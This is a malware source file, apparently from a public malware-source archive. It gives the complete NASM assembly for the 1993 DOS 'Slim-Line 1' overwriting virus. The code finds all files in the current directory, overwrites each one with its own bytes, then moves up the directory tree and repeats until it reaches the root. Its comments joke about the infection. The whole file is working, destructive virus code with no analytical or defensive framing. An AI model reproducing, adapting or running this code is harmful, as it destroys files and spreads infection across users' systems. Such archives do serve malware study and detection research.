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https://github.com/vxunderground/MalwareSourceCode.git
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52 lines
2.0 KiB
NASM
52 lines
2.0 KiB
NASM
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; The Slim-Line 1 virus, from the Slim-line virus strain.
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; (C) 1993 by [D<>RkR<6B>Y]/TridenT
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;
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; This one's a dumb overwriting virus, as small as possible,
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; return to DOS and work with all dos versions. (no SI=100h tricks ect.)
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;
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_CODE SEGMENT
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ASSUME CS:_CODE, DS:_CODE, ES:_CODE
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ORG 100h
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FIRST:
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DB "*.*", 000h ; Infect ALL files..
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MOV AH,4Eh ; Find first...
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XOR CX,CX ; No attributes.
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AGAIN:
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MOV DX,100h ; String from 100h
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PUSH DX ; Save 100h for later.
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INT 21h ; Find it!
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JC DIR_HIGHER ; Not found???
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MOV AX,3D01h ; Open it...
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MOV DX,9Eh ; Yeah, THAT file!
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INT 21h ; I said NOW!
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XCHG AX,BX ; Put handle in BX...
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MOV AH,40h ; Infect it.
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MOV CL,(LAST-FIRST) ; Thats how big I am...
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POP DX ; Save it, ya remember...
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INT 21h ; Go get it!
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MOV AH,3Eh ; Party is over,
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INT 21h ; close it..
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MOV AH,4Fh ; Who's next!
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JMP AGAIN
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CHD DB "..", 000h ; Dir higher 8^]
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DIR_HIGHER:
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MOV AH,3Bh ; Change dir.
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POP DX ; Don't mess with stack...
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MOV DX,OFFSET CHD ; Dir higher...
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INT 21h ; Ok...
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JNC FIRST ; Root??
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EXIT:
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RET ; Then exit..
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LAST:
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_CODE ENDS
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END FIRST
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